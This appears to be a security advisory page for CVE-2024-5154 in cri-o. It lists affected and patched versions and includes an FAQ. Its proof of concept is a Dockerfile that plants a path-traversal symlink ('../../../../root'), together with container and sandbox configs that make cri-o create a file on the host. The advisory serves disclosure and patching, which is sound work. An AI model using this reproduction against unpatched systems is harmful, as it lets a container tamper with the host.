high
8.1
CWE
22 668
EPSS
0.044%
Advisory Published
Advisory Published
CVE Published
Updated

CVE-2024-5154: Cri-o: malicious container can create symlink on host

First published: Mon May 13 2024(Updated: )

### Impact A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host. A workload built from this Dockerfile: ``` FROM docker.io/library/busybox as source RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc FROM scratch COPY --from=source /bin /bin COPY --from=source /lib /lib COPY --from=source /extra . ``` and this container config: ``` { "metadata": { "name": "busybox" }, "image":{ "image": "localhost/test" }, "command": [ "/bin/true" ], "linux": { } } ``` and this sandbox config ``` { "metadata": { "name": "test-sandbox", "namespace": "default", "attempt": 1, "uid": "edishd83djaideaduwk28bcsb" }, "linux": { "security_context": { "namespace_options": { "network": 2 } } } } ``` will create a file on host `/host/mtab` ### Patches 1.30.1, 1.29.5, 1.28.7 ### Workarounds Unfortunately not ### References _Are there any links users can visit to find out more?_

Credit: secalert@redhat.com secalert@redhat.com

Affected SoftwareAffected VersionHow to fix
go/github.com/cri-o/cri-o>=1.30.0<1.30.1
1.30.1
go/github.com/cri-o/cri-o>=1.29.4<1.29.5
1.29.5
go/github.com/cri-o/cri-o>=1.28.6<1.28.7
1.28.7
redhat/cri-o<1.30.1
1.30.1
redhat/cri-o<1.29.5
1.29.5
CRI-O=1.28.6
CRI-O=1.29.4
CRI-O=1.30.0
All of
Any of
Red Hat OpenShift Container Platform=3.11
Red Hat OpenShift Container Platform=4.0
Red Hat OpenShift Container Platform=4.12
Red Hat OpenShift Container Platform=4.13
Red Hat OpenShift Container Platform=4.14
Red Hat OpenShift Container Platform=4.15
Any of
Red Hat Enterprise Linux=8.0
Red Hat Enterprise Linux=9.0

Never miss a vulnerability like this again

Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.

Read MoreStart Free Trial

Reference Links

Frequently Asked Questions

  • What is the severity of CVE-2024-5154?

    CVE-2024-5154 is classified as a high severity vulnerability.

  • How do I fix CVE-2024-5154?

    To fix CVE-2024-5154, upgrade to cri-o versions 1.30.1, 1.29.5, or 1.28.7.

  • What is the impact of CVE-2024-5154?

    CVE-2024-5154 allows a malicious container to influence the host system by exploiting certain code in cri-o.

  • Which software versions are affected by CVE-2024-5154?

    CVE-2024-5154 affects cri-o versions 1.30.0 and earlier, 1.29.4 and earlier, and 1.28.6 and earlier.

  • Is CVE-2024-5154 exploitable in all environments?

    CVE-2024-5154 may be exploitable in environments running affected versions of cri-o without the recommended patches.

Company

Resources

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2025 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203